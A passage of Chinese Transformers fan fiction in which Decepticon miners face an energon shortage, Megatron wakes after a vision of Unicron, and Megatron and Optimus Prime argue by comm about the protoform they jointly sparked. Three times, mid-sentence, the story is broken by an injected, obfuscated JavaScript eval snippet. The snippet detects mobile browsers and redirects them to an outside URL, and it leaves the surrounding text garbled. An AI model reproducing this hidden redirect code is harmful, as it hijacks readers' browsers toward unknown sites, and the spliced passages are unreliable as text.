但他们的故事也有被杂兵们记住的地方。 那就是战前的赛博坦有着取之不尽的能量。 杂兵们没见过战前的赛博坦,也不清楚贵族是所谓的什么东西,但他们知道挖矿。 这是他们唯一熟悉的事情,而在“老人”的故事里,赛博坦矿场里的能量似乎是不需要他们自己去寻找的。 只需要埋头苦干,就能挖出蓝色的能量晶体,而不是像他们一样拿着仪器,用杂兵的命去一个个试错。 好吧,他们也不清楚他们和那些战前赛博坦的矿工们有没有什么相似之处,也不清楚这些故事到底是真是假,可每当他们在地下矿场数着身上的灰尘颗粒盼望着尽快达到规定挖掘数量时,这些美好的愿望就会跳进他们的处理器。 真希望能量可以自己跳出来啊。 毕竟,赛博坦的能量已经枯竭了,战争什么都没给他们留下。 如今他们在这颗泥巴星上挖掘出来的能量块要优先供给上级军官,其次是底下的战斗单位,再次是他们这些负责日常通信与数据整理的“文官”,最后才会轮到挖矿机。 医疗和其他资源也是同样如此。 可即便他们不是最底层的挖矿机,如今报应号内的战备资源也不足以支撑他们用以挥霍给杂兵疗伤了。 不过即便有,他们也不会去找医官就是了。 这并不是因为他们的医官太过于不着调,又或者他们的长官禁止他们去寻找治疗,而是没有霸天虎会将资源用在他们身上,这几乎成为他们墨守成规的一部分。 如果被发现他们失去工作能力,难保他们的下场是什么。 与其耗费精力修复一架没有多少价值的量产杂兵,不如节省一些资源将他们重新融毁。 对于这些伤势、日常的检查与能源,杂兵自然有杂兵的渠道。 这些不影响日常的小伤能忍就忍,如果实在不行,他们可以去报应号底层的尸体焚化炉里翻一翻,看看还有没有烧剩下还能用的其他兄弟的原件来更换,哪怕是最底层的矿机也会尽量避免去击倒医官那里进行替换。 但能源,啊,这就是他们目前正在头疼的部分了。 “T-169,我们的能量储备已经不足35%了,”在场的杂兵们没有在意他身上窸窣作响的小插曲,更让他们犯愁的是这个周期内统计到的矿区数据。 三个矿区的负责人脸上的神色已经近乎恐惧,没有完成既定目标,他们不敢想他们上头的几位上司会怎么处理他们。 红蜘蛛副官曾经告诉他们这颗泥巴星上会有供整个霸天虎军队食用好几百个周期的能源,可是他们的矿区同僚们能挖出来的矿体一天比一天少,矿机找到的也尽是些小型矿脉,三个矿区在这个周期挖掘出来的能量晶体加起来都达不到全军度过一个完整周期所需要的量。 这是个极为可怕的数据,这意味着将会有上百个杂兵不得不靠着50%的能量储备度过剩下的半个周期。 或者更糟糕,这些超能量体会优先提供给战斗单位,其他的量产杂兵都得饿着肚子度过一整个周期。 被称为T-169号的杂兵叹了口气,作为三个矿场的总负责人,他总得给上头一个满意的答复,不然别说他手底下的这些兄弟,他自己恐怕都讨不到什么好。 四个机凑在一起嘀嘀咕咕了半天,机翼都蹭掉色了也没找到一个合适的借口。 杂兵的处理器就不是为了这些制造的,他们能想到把三个矿区的负责人集合起来“一起讨论”这件事本身就已经十分有智慧了。 最终三个量产小飞机又将目光投向了T-169。 “T-169,我们真的挖不到更多的能量了,仅剩的几条矿脉已经挖干净了,要开垦其他能量矿脉最少也需要三个地球日。” 说话的小飞机看起来快哭了,另外两个看起来也十分憔悴。 “我的矿区已经死了两个机了,”另一架小飞机说,“我们需要休息。” “红蜘蛛指挥官不会希望听到这个消息的。” “可是错过汇报时间会被声波长官和打击长官狠狠记上一笔的。” 眼看着讨论无果,三架飞机又将目光投向了拿着光屏的T-169。 “我来吧。”T-169最终接下了这个重担,深吸一口气,扒拉了两下通讯器,克制自己语气里的惶恐,接通了红蜘蛛指挥官的内线。 「什么事?」 通讯很快接通,一道尖锐的声音传出,听起来漫不经心,可在场“旁听”的三个小飞机却立刻绷紧了机翼。 T-169尽量平缓地汇报道:「报告红蜘蛛长官,这个周期矿区的能量挖掘数据统计上来了……」 「如何,我说过在铁、威震天陛下没回归之前我把这艘船运转的不错吧?击倒那家伙还……」 T-169不敢让他自我发挥太多,不然一会儿的坏消息不一定还得怎么触他的霉头。 他鼓起自下流水线以来最大的勇气大声地打断了他的自言自语。 「红蜘蛛副官!额,我是说,我们这个周期的超能量体收取没有达到既定指标。」 「什么?!」 那道声音果然一改慵懒的语调,T-169都能想象到这位高傲的副官一骨碌从自己的充电床上爬起来的画面,而被打扰了清静的副官还能不能给他个好下场…… 这就得全看普神眷顾了。 「怎么会不足?这颗该死的星球上的能源都快从能量指示器上爆表了!」他尖叫,「让你的人再去挖!」 在威震天回归这个节骨眼上出现这种事情,他们是嫌他被抓住的把柄还不够多吗? 一想到那个躺在维修床上昏迷不醒的首领,红蜘蛛就忍不住心头的戾气,他狠狠地咒骂:「怎么可能会挖不到!一定是那些负责人偷懒了!该死的量产机!不懂得变通的榆木脑袋,一定要什么事都我亲力亲为你们才知道该怎么做吗!」 「可是长官,每条矿脉都被确认挖干净了,矿机已经连续工作三个周期了,我们真的挖不到更多的超能量体……」 一开始的愤怒被渐渐回笼的理智压了下去,红蜘蛛在自己的舱室内来回踱步,脚跟在铁质的地板上踩出令人心烦的噪音,「这不可能,声波的数据库中就属这颗星球能源反应最为强烈……」 「算了,士兵,告诉我你们统计出来的数据,到底差了多少。」 T-169划了划数据板,失灵的手部轴承又开始不合时宜地抽搐,他急得直哆嗦,身旁的小飞机紧着帮他划开数据。 「……报告长官,这个周期矿机挖掘到的数据只有不到75%,可供飞行单位与其他战斗单位的日常运转使用,但……」 听着另一头杂兵的汇报,红蜘蛛提起来的心又回到了油箱里。 「那有什么问题吗?」红蜘蛛打断他,这位副官好似又找回了主心骨,语气中的气急败坏消失了,而T-169愣在了原地。 「不好意思,您刚刚说什么?」 「你说了,这个周期挖掘出来的能量足够我们的战斗单位们吃饱肚子,既然如此,还有什么问题吗?」 「可是长官,我们的矿机和其他的非战斗单位可能面临能量不足的境况,而且底层的士兵损耗速度也在加快,一些伤势过重的士兵和死在矿场的矿机……」听出这位副官语气中的不耐烦,T-169加快了语速,也顾不上逾越了只希望他能听完自己的汇报。 「那就让他们休息吧,下个周期很快要开始了,我要求他们那个时候上工。」 「还有其他的事情吗,士兵。」 「不……没有了,长官……」 T-169神志恍惚,他甚至不知道自己是怎么挂断的通讯,其他的三个小飞机脸上却都是一副劫后余生的表情。 T-169回了回神,不知道自己心中这股无法解析的感情是什么,但这不妨碍他和其他几个兄弟小小庆祝一下。 “太好了,红蜘蛛副官没有惩罚我们!M-9!我们活下来了!”A区矿场的负责人是个活泼的机,此时已经激动到机翼都抖起来了,他碰了碰身边B区负责人的胳膊,压着声音小声欢呼。 “是的我知道,K-75,”B区的负责人露出一个小小的微笑,但他也率先冷静下来,“但是其他人的能量配给要怎么办?” 毕竟按照红蜘蛛长官的意思,他们这个周期的超能量体肯定是要先分配给战斗单位了,但这就意味着真的要有机饿肚子了。 C区的负责人抖了抖身上的矿体碎屑,在过来前他都还在矿里,眼看着危机解除,他眼底的疲惫也终于无法掩饰。 “我的矿脉里刚刚发现了一条新的路线,”他点了点自己的音频接收器,“让其他几个区的矿机都来我这边吧,虽然不足以补上配给分额也不够每个人吃饱,但是起码不会有人饿肚子。” T-169眼看着这几 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“嘿K-19!你挖了多少哇?”一个灰扑扑的矿机凑到被他称为K-19的机子身边,用胳膊撞了撞他抱着晶体的手。 “勉强够今天的配额。”被他撞到的机也不恼,小声回应他。 “那真不错欸,我这边只到了60%……” “而且你看到那边的战斗单位没,看来他们的能量也不够。”他伸出手指了指矿场中间几个竖着机翼的飞行单位。 这就是所谓的杂兵自有杂兵的渠道了。 和医疗资源一样,能量不够他们也自有办法活下去,混入矿机的队伍就是一种办法,看在同僚的份上,大家都会帮着隐瞒一二。 K-19顺着他的手看过去,那几个飞行单位装甲黯淡,挖掘晶体的手法也相当生疏,看得出来哪怕是红蜘蛛的直属部队在来到这颗泥巴星后也没能存下什么能量。 他疑惑地歪了歪头,“我记得战斗单位的配给应该是充足的,能量块今天汇报完就已经全部上交了。” “谁知道,”他的同伴耸了耸肩膀,“可能还没派送到他们手上?毕竟你知道,能量要先给上级长官分配。” K-19看了一会儿他们毫无章法的挖掘进程,最终还是叹了口气放下手中的东西,往他们那边走去。 身后的好友无奈摊了摊手,“就知道你这个性子肯定没办法坐视不管。” 说话间K-19也已经走到了他们身边。 “往西北方向的土质层挖挖看吧,你们现在这个地方挖不出来东西的,”他向这几个士兵说,“地质层太薄了。” “而且你们的机翼和漆面都太显眼了……矿机大多数都是轮子,没有几个飞行单位,”他抖了抖自己的机翼,飞行单位特有的语言让他面前的这几架飞机也放松了下意识紧绷起来的机体,“就算是飞行单位,大家也没有你们这么亮的漆。” “虽然负责人睁一只眼闭一只眼,但今天刚进行过汇报,红蜘蛛长官随时可能会过来,这条矿脉也在进行汇报的那几条主矿脉中,别被发现了。” “你们去那边,更隐蔽一些。” 几个小飞机连忙点着头向他道谢。 等他回到原来自己的位置时,等他的机从一个变成了两个。 “又去当老好人了?” 后来的这个机一边往嘴里扔能量块一边笑着调侃他,“真不知道你的处理器怎么处理的过来这么多事情的,任由他们挖就是了,反正这条矿脉虽然小但是他们往下挖个几十米应该也不至于空手而归。” K-19摇了摇头抱起了原先暂时放在地上的能量晶体,“不是为了他们,”他说,“他们是战斗单位,而且直属于红蜘蛛长官,如果在矿场里丧生,声波长官肯定要进行调查的,那会给我们带来很多麻烦。” “我不想浪费大家好不容易得来的休息时间。” 他抱着能量走远,身后的两个友人对视一眼都在彼此眼中看到了无奈,K-19自从下流水线就一直是最特立独行的那个,他们时常觉得他应该被分配到声波长官身边做些更适合动脑子的未知,而不是和他们一样挖一辈子矿。 被他们讨论的对象一无所知,只是嚼着嘴中略带苦涩的能量块逐渐走远。 17.是的,我和你有个孩子 原本够每个战斗单位吃饱的能量此刻又在哪里呢? 答案是击倒的医疗室。 维修床上,属于霸天虎首领那具格外庞大的机体就安睡其上。 从他已经修复完好的火种舱外,几条粗细不一的管道向机体内输送着源源不断的能源。 规律的置换声仿佛他只是暂时睡了一觉而非沉睡不醒,击倒在这几天挠破了头也不清楚到底为什么他们的首领四肢健全、体内器官运转良好却就是醒不过来。 声波越来越有危机感的沉默让击倒连摆烂也做不到。 他是真的怕这位闷骚情报官什么时候真的觉得自己“医术不精”然后给自己来一下。 那可就真的要去见普神了。 仪器滴滴作响,击倒揉揉发胀的光学镜继续埋头在那堆医学资料中。 与此同时,在昏睡的霸天虎首领的脑袋里也同样不平静。 宇宙大帝的残影在他的脑袋里絮絮叨叨,说着些他完全听不清楚的低语,层层叠叠的回音像是要把他撕裂成两个人,眩晕感夹杂着身为普神的造物对宇宙大帝天然的抗拒让这位霸天虎的首领也忍不住发出嘶吼。 “够了!”他紧紧抓着自己的另一只手,充能的融合炮冒着不详的红光指向他脑袋里那庞大的邪神幻影,他丝毫不惧神的威严,怒吼着驱赶这不请自来的神明。 “我不管你是上古的神明还是什么所谓的‘胜利者’,你这可悲的可怜虫,从我的脑袋里滚出去!” “休想在我的机体里为所欲为,这是我的机体,我的脑袋!” 邪神的虚影完全不惧威震天的威胁,他立在那里,如同亘古不变的巨石,吐露着神的箴言。 威震天能够感受到他的语言中的力量。 这不知为何出现在他梦境中的神向他伸出手,即使语言不通,他却突然明白了一直以来神所传达的旨意。 诱惑。 贪婪。 权力。 欲望。 地位。 他听见他的神明在向他承诺他所想要的未来。 “加入我。” “侍奉我。” “成为我。” 神明高高在上地俯视着这不自量力的蝼蚁,而威震天不受控制地放空了思维,光学镜涣散,霸天虎永不屈服的领袖如同失了魂一般没了刚刚的愤怒,机体吱吱作响,向着身前的宇宙大帝的虚影伸出了手。 就在指尖相碰的前一瞬,一道红蓝色的身影突兀出现在了他的眼前。 小小的机子抱着一叠档案抬着头看向他,蔚蓝色的光学镜中,满是憧憬和希望的光芒。 「震天尊?」 这一声轻轻的呼唤如同惊雷在威震天混沌的处理器深处乍响! 那是…… “奥利安?” 不,不对,那是…… 幻想破裂,邪神满是恶意和不屑的目光投射在他身上,眼前红蓝色的档案管理员的身影如同破碎的镜子轰然炸开,手刀凛冽的寒光与领袖被面罩掩盖的面甲对立地站在他跟前。 擎天柱!!! 霸天虎的首领猛地后退,在自己的梦境中出了一身的冷汗,一边大口地喘息着一边向后退去。 邪神的虚影似是遗憾地叹息一声,在威震天逐渐回归理智的警惕目光中逐渐消散。 在梦境也随之破碎之际,他突然听懂了邪神最后的低语。 「我们还会再见的。」 现实中,维修仪上代表威震天火种频率的线条陡然颤动,击倒吓得魂飞魄散,直感觉自己命绝今日,然而在他手忙脚乱时丝毫没有注意到床上的身影睁开了自己猩红色的光学镜! “嘀————” 火种频率归零的警报声响起,击倒已经在心里给自己唱起悲歌,他近乎不敢置信地猛然转过身去寻找自己“英年早逝”的首领。 他大声哀嚎:“不不不,不!威震天陛下,不,您怎么就死在这种……” 如同被掐住脖子的鸭子,哭丧的话说了一半就被卡在了他的发声器中。 在他身后,维修床上本应被判断为不可能苏醒的首领已然坐起了身,那双狠厉的光学镜看不出情感,监控火种频率的线路被他从自己胸口上扯了下来如今正攥在他的爪子中。 “哦……哦!赞美普神!您还活着!” 没有细究他的首领如何缔造了医学奇迹,击倒的处理器立刻给出了此刻他最好的选择,他没有在意自己刚刚的卡壳,开始大声向他的首领赞颂他又一次的“伟迹”。 然而他的赞美没有得到应有的反应,破坏大帝似乎还沉浸在自己的情绪里,对击倒的话没有一丝一毫的反应。 没有暴怒、没有训斥,普神啊,他甚至没有向击倒施舍一丝一毫的目光。 红色的跑车几乎看到赛博坦他古老的故乡在向他招手,他还不想那么早就回归火种源,普神在上,威震天这到底是怎么了? 没有反应意味着失常,这也就让善于揣摩人心的医官拿不准自己接下来的下场。 击倒额头的冷凝液渐渐渗出,眼看他的首领没有要搭理他的趋势,他也紧跟着停下了话茬。 事实证明,他做出了正确的决定。 他的陛下只是沉默地翻身下了床,无视医官心里越来越难以忽视的惶恐挥手斥退了他。 击倒如蒙大赦地急忙行礼离开,将医务室留给这位“重伤初愈”的君主。 尖锐的指爪伸出又攥紧,威震天垂眸看着自己的机体,反馈回路上那股无力感似乎还黏连在他的指尖,他的处理器中冗余的情感数据停留在他的光学镜中,让机看了心烦。 他索性一股脑将他们都打包丢掉,然而却鬼使神差调换出了通讯页面。 那上面唯有一个置顶的灰色头像。 「擎天柱」 那是几百万年前就再也不曾亮起的红蓝色幽灵。 头顶灯光的投射下,霸天虎君主的神情晦涩不清,邪神的低语似乎还停留在他的音频接收器中让他为之动摇。 …… 另一边,汽车人基地中刚刚分配好搜寻任务的领袖也接收到了一条不可能的通讯。 他一瞬间不敢相信自己看见了什么,直到刷新两次光学镜后那条来自威震天的通讯界面依然孜孜不倦地在向他发送通讯申请,他才确定眼前的一切并非幻象。 此时基地内只剩下他忠实的救护车还站在屏幕前监控着其他伙伴们的实 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14721186|154766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时情况。 擎天柱走回自己的舱室,他几乎记不清上一次他和威震天的通讯是什么时候了,但那一次的不欢而散依然停留在他的处理器。 他摩挲着自己有些斑驳的手臂漆面,坐在自己的充电床边犹豫着还是接通了来自霸天虎首领的通讯。 「领袖?」 「……是我。」 擎天柱收敛好自己的情绪,尽量吞下自己火种中的晦涩。 「有什么事吗,威震天。」 「真冷淡啊,我还以为……你会更激动一些。」 「我和你没什么好说的。」 「是吗领袖?」威震天在那头露出他这个周期的第一个微笑,「既然如此,那么我想你那些碳基小朋友们的安危也一定不怎么重要?」 「威震天你敢!」领袖在另一边瞪大了光学镜,顾不上思考刚到地球的威震天是如何得知杰克他们的存在的,一瞬间各种各样的糟糕猜想涌出,让他失手打翻了床边盛放能量晶体的容器,好在这些动静没有惊动指挥室中的救护车。 「是吗?我不敢吗,领袖?」威震天刻意拉长了调子,在医务室悠闲地找了个座椅,摩挲起手上的融合炮,此时他才找回了些许在那个诡异梦境中丢失的冷静和自得。 声波在他苏醒时发送给他的地球的资料足以他了解到领袖的动向。 「看到我在你芯里的信誉依然这么高真让我感到欣慰。」 「够了威震天,你到底想说什么。」 「没有事情就不可以和我的老对手、老朋友叙叙旧吗?」 「你不是那么无聊的机。」领袖很快恢复了状态,他低声说。 「……」 得到他回复的威震天反而沉默了,在这不自然的静默中,领袖忽有所感地察觉到了霸天虎首领今天的反常。 他缓和了语气,「你遇到什么事了吗,威震天?」 「哈……」 「不要自作多情了,领袖。」 刚刚的沉默恍若错觉,通讯另一头,威震天回复他道。 他们都没有察觉到彼此磁场中溢出的安逸分子,此时的气氛对于两位始终被裹挟在战争中的领袖而言都可以称得上是轻松。 威震天轻声说,「与其担心我,不如告诉我,我内置讯息中的那条原生体授权是怎么回事?」 他漫不经心地查看着在自己昏迷期间报应号上发生的一切,在看到声波记录中那个因擎天柱与红蜘蛛的冲突而爆炸的原生体飞船时,他将其中的讯息和自己苏醒时CPU中被他删掉的那个原生体扫描授权结合了起来。 并且得到了一个并不意外的结果。 「……什么?」领袖在听到他的话后一瞬间晃神,「授权?你是那个原生体的另一个……」 威震天打断他,「是的,」他懒洋洋地说,「所以另一道遗传信息授权果然来自你。」 「也就是说,我和你是那个原生体的……」领袖艰难地说。 威震天裂出一个真情实意的坏笑。 「没错领袖,那个原生体就是我和你,霸天虎的主人和汽车人领袖的creation。」 「对此有何感想?」 「我的领袖。」 18.坦白 霸天虎首领言语中的咄咄逼人没有得到应有的效果,领袖早就不再是那个会因为角斗士一句调侃而手足无措的图书馆管理员。 「用这件事刺激我没有用。」领袖在短暂的处理器空白后调整了自己的置换频率,让自己的火种再次平静下来。 「当然,毕竟神选的领袖又怎么会因为一台被制造出来的人造机产生什么多余的想法。」霸天虎的首领在那头阴阳怪气。 「但我猜领导模块一定也能告诉你一台组合金刚的模板机器会对我们的战争创造什么样的优势吧。」 「猜猜我忠诚的情报官从那艘飞船里解析出了什么,」威震天洋洋得意,丝毫不在意领袖的反应,「原生体的装载记录有六个,而当时你们发现的只是一个因为故障而被桎梏住的六号机。」 「我的人会为我带回来另外五个。」 「又或者取得六号机的残骸,通过技术部门的解析,霸天虎会拥有一支组合金刚的大军。」 「到时候你和你的汽车人都会臣服在组合金刚的铁拳之下。」 「你现在向我投降还不太晚,领袖。」 擎天柱的神色沉了下去,威震天不知道六号机还活着,这勉强算个好消息,按照他言语中的规划,显然六号机在他眼里“死”掉了比还活着更好。 霸天虎会渗透进人类的情报系统他也并不意外。 作为早期参与人员,他曾经和名为震天尊的威震天和声波一起共事,对这位声名远扬的情报官的能力早有估量,但声波是如何又是怎么进入的? 不解决这个,情报泄露的危机远远比霸天虎的行动更加危险。 「投降,」领袖说,期间的停顿足以让人误会他是否真的在思考这个选项,「然后呢?让汽车人和霸天虎都生活在你的暴政之下,我们的人民会被分为三六九等,宇宙中所有生物都生活在名为赛博坦人的恐惧之中,而我又如何相信我的人会被你好好对待?」 「在你已经对无辜的人亮出屠刀之后。」 「你早已对我原形毕露,威震天。」 「而我会为了……」 「啊……又绕回了原点是不是,领袖,」霸天虎百无聊赖地打断他,「老调重弹,“自由是所有有感知生命与生俱来的权利”!我有时候都在思考你是否真的这样觉得又或者只是单纯在喊着这样的口号以至于将你自己都进行了洗脑。」 「省省你的力气吧!」 「在你们主动开启这场背叛和战争后,你以为我还会相信汽车人的说辞吗?接受汽车人的统治?然后重回不见天日的矿场还是继续当我的角斗士为那些所谓的上层阶级贡献娱乐?又或者你希望我甘愿站上你们的审判台,听着你们的欢呼,任由我厌恶的那些敌人砍下我的头颅、挖出我的变形齿轮、熄灭的我的火种!」威震天怒吼,身下的维修台被他的爪子捏出火花。 「我们没有开启战争!」擎天柱的声音也随之变得尖锐,面对威震天的质问,完美的面具迸裂,他激烈地反驳。 「从始至终,奥利安从来没有背叛!你才是那个背叛我们誓言的人!」 「够了!」威震天大声斥责,「我给你打来通讯不是为了听你的狡辩的!」 「威震天!」领袖显然也气疯了,他像是要彻底地将这四百万年的纠纷一笔账一笔账地和自己的老对头掰扯清楚,而他的动静也终于吸引来了门外领袖卫队的人的注意,大黄蜂和阿尔茜在门外问他一切是否正常,只是领袖暂时顾不上他们。 「为什么你一直这么固执己见!」 「固执己见的到底是我还是你?!」 对话又进入了僵局,领袖狠狠置换了两口气才将烟囱里冒出的黑烟压下去,他提醒自己不要被霸天虎牵着鼻子走,「如果这就是你想和我说的,那就此打住吧,我想我和你没什么好谈的了。」 「哈,领袖,你还是只会逃避,但你不会逃一辈子。」 擎天柱懒得反驳,直接回呛他:「总比你只会一味破坏的好。」 「……」此时威震天似乎也平复了心情,「所以,你真的就对那个继承了你我遗传信息的原生体没有一丝一毫的想法?」 「我不会让他落入你们手中的,」领袖觉得他这辈子不太可能了解威震天的脑回路了,他压下自己心头的怒火立刻告诉他,「你的计划不会成功的威震天,即便是原生体,他们也有自己的思想,也不会成为你的帮凶任你驱使。」 「我问的是擎天柱的想法,不是领袖的官方发言。」威震天重复。 「……」这回换领袖一时语塞。 他不想承认自己在听到原生体的另一个sire是威震天时他心里冒出来的庆幸,但告诉威震天他其实接受了这个原生体的双亲是他和自己这个事实?还是算了吧,他实在疲惫,没有多余的力气去和明显今天不太正常的霸天虎首领再吵一架。 「我想的是什么无关紧要,威震天。」 「既然我已经知道原生体的另一个亲族是谁,也知道了你的计划,更不可能放任他落入你们手里。」 他一边告诉外边面露担忧的同伴自己没有发生任何事情一边等待着威震天的回复。 霸天虎那边却转而发出了一阵他不明所以的笑声。 「哈哈哈哈,擎天柱,你还是那么不善交际,」威震天大笑,「看看和你的那群汽车人在一起都教会了你什么?」 「优柔寡断、艰难取舍、多愁善感……」 「你这四百万年毫无长进,你刚刚告诉了我——你的敌人,那个专精战争的原生体还活着!」 擎天柱肃然。 「感谢你,我的领袖,你可真是帮了我一个大忙。」 「你不可能得到他。」 「没什么不可能,擎天柱。」威震天站起身,此时他才发现自己左手里抓着的紫色晶体。 刚刚那么久,他竟然一直抓着这么个东西吗? 威震天皱了皱眉。 擎天柱不知道他那边发生的小插曲,他在思考将原生体此时疑似被人控制的现况告诉威震天于原生体和汽车人而言是否有益。 如果他告诉威震天,那么原生体可能得救,但也可能会帮助霸天虎真的破译出组合金刚的设计代码。 以他对威震天的了解,这位霸天虎的君主更可能认为没有能力逃脱人类控制的原生体没有派出营救的必要。 「他毕竟有着我的一半火种,」威震天说,「他会加入我的。」 「我会阻止你,」擎天柱说,「别忘了,他也是我的creation,汽车人的灵魂会引领他找到正确的路。」 「那就各见真章吧,领袖。」 威震天说着就要挂断通讯,擎天柱急忙叫住他,「等等,威震天。」 通讯恢复静默,领袖本以为威震天已经挂断通讯,却听到接收器中传来指爪敲击的声音,威震天说:「我在听,领袖。」 擎天柱抿了抿嘴,「原生体的消息我本也没打算隐瞒,但我们获得了一些……警告。」 「原生体可能处于被控制的情况。」领袖其实也拿不准威震天的想法,但如果这能够为原生体挣得一些生存的机会…… 「所以呢,领袖?」威震天研究着自己手中的晶体,组合金刚的事情可以提上日程,但其实他也明白这件事急不来,六号机在地球尚且存活,这很好,但剩下的那五个在宇宙里,哪怕是霸天虎,想找到也不是一件容易的事情,他之前的威胁和所谓组建军队的事情大可看作是他的宏伟计划的一部分。 也就是口嗨。 「你希望我因此去拯救他?」 「威震天,他是我们的creation,即便是被人为制造出来的原生体,也是赛博坦人,我们有义务也有责任去把他救出来。」领袖说。 「我们不能让他落在地球人手里。」 「所以你终于知道你所谓的那些盟友其实并不可靠。」威震天将手中的晶体扔到了桌面上,果然心头的纷乱感消失了,他眉头皱的更深,基本可以确定他的那个梦境多半和这个晶体有关。 还有那个所谓的“神明”。 他没有了和领袖继续聊天的欲望,「我自然有自己的判断,不要试图影响我,」他警告道,「战场上见吧,擎天柱。」 这次通讯频道是彻底恢复了寂静,领袖看着那个灰下去的头像,犹豫再三还是发送了一条内置消息。 14:07:27 「威震天?」 发送成功。 14:07:28 「什么?」 接收成功。 很好,所以威震天没有再把自己拉黑。 擎天柱把这视作一个积极的信号。 他摩挲着自己的音频接收器,时至今日,他依然不知道自己所做出的种种决定于他们的人民而言是对是错。 于威震天,他始终记得那个银色的角斗士如何从决斗场中异军突起,是他告诉那个懵懂的图书馆管理员还有另一条明路可以为他的人民们开辟未来,是他让奥利安·派克斯看到了希望。 领袖的脑海中闪过震天尊蓝色的光学镜,战前百胜无一败绩的角斗士新星弯下腰向他行礼,牵着他的手向他指向在他们周围欢呼的人群,擎天柱抚摸自己的火种,那种恍若惊雷的心跳声似乎依然在自己的耳边回响。 他们迟早有一天也会欢呼你的名字! 你和我,奥利安,我们的名字将会作为变革的开始被写在一起! 他的朋友搂着他的肩畅怀地大笑,两双同样湛蓝的光学镜对视,奥利安激动得面颊微红,腼腆地站在他身侧感受着环绕着他们的人群的激昂。 而刚刚!震天尊的光学镜被亢奋填满,议会联系了我,我们将会在全赛博坦人民面前和他们进行公开的谈话! 奥利安看向他的朋友,几乎克制不住内心的欢愉,太好了,太好了震天尊,他们会倾听我们的想法。 是啊,奥利安,不管如何,我们迈出了重要的一步,震天尊收敛笑意在大家的欢呼声里把奥利安托举过头顶,这一举动当然引得奥利安的惊呼,但很快,角斗场之王设法让他平静了下来,奥利安,看看你周围吧,尽情享受这一刻吧。 他安坐在震天尊的肩膀上,看到声波和震荡波沉默地跟在他们身后向他微微点头,看到他的同僚们、矿工们、角斗士们仿若没有阶级一般彼此攀附着肩膀互相调侃庆祝,于是奥利安握住震天尊放在他腰上稳定他身形的手掌。 两双手掌接触,温暖得仿若普莱姆斯的怀抱,于是奥利安也微笑起来。 是啊震天尊,多么好的一刻。 记忆停留在那一瞬,擎天柱清醒过来,汽车人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14769817|154766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 基地的仪器运转声规律地响起,救护车在内线敦促他尽早充电休息,领袖沉默地坐起身,将医官的关心全数接下,然后心虚地违反。 威震天早已不再是那个谦虚、聪颖、富有同情心的角斗士,可倘若他真的十恶不赦,擎天柱不会对此心慈手软。 然而他却一次又一次地证明,他并非只有那无可饶恕的另一面。 擎天柱渴望将自己熟悉的那个老朋友呼唤出来,而威震天却控诉奥利安背叛了他们的事业,让领袖的每一次尝试都以失败告终。 5000千年前,他们进行了最后一次和平谈判,领袖进入谈判席时连身上的装甲都还残留着子弹的弹痕,他在谈判桌前空等了一夜,只等到了霸天虎毁约的消息。 威震天连面都没有出,与此同时领袖的内线也彻底被威震天拉黑了。 直到今日。 擎天柱坐在自己的桌子前,将那张破损的光屏从自己的子空间取出。 领导模块静静地在他的胸口闪着光,也许是今日的谈话使他对威震天重新燃起了新的希望,领袖沉吟片刻,在自己的日记中写下新的日期。 笔尖簌簌作响,他回想着威震天的质问。 于原生体,他真如威震天所言真的对他的creation没有一丝一毫的私心吗? 领袖垂下眸,他的汽车人同胞们信任自己,他的神选领袖的身份让他的信徒们爱戴他,他所代表的普莱姆斯的名义使赛博坦人对他产生天然的亲近,可他的creation,他的原生体,继承了自己一半的火种与机体构造的亲子,他又会如何看待他和他另一位sire? 那毕竟与自己血脉相连,不管是在奥利安短暂的一生之中,还是在擎天柱漫长的战争生涯中,除了威震天,再未有过与自己关系如此亲近的机子,哪怕还未见面,领袖却早在决定成为他的sire之前就去爱他。 富勒特工所展示的视频画面在他的CPU中回放,那架有着和自己相似机体的小油罐车脸上冷峻的面孔再次刺疼了他。 领袖自嘲地笑了笑,他的creation,可他作为领袖,没能保护好他们的原生体,作为sire,没能保护他的亲子免遭人类的控制,笔尖停下了,他将光屏再度收回自己的子空间。 原生体降生起,尽是他的失责,又如何奢望他的creation对他有什么好的印象。 好像不管他做出怎样的选择,事情总会向着最糟糕的一面发展。 天色已暗,他知道这注定又是无眠的一夜。 报应号上,威震天没有领袖那样丰富的情感,没有为自己和领袖的小冲突分出什么精力,他此刻全神贯注沉吟着盯着那块紫色的晶体。 剧烈的能量波动从晶体内部源源不断地辐射负面的能量波长,声波用触手接过它,小心翼翼地盖上能量储存箱的盖子,如此才算彻底隔绝了它的影响。 威震天神情晦涩,红蜘蛛却连大气也不敢喘一下,生怕威震天又想起他“昏迷前”的旧账。 “声波,将它封好。” 情报官微微点头,离开了医疗室。 威震天背着手站在医疗室的玻璃前,红蜘蛛忐忑不安地垂下机翼,站在医疗室的门边,做好了假若君主暴怒便立刻求饶的准备。 威震天连头都没有回。 “霸天虎的资料中对那块晶体有记录。”他笃定地说,而红蜘蛛恰到好处地接上他的话茬。 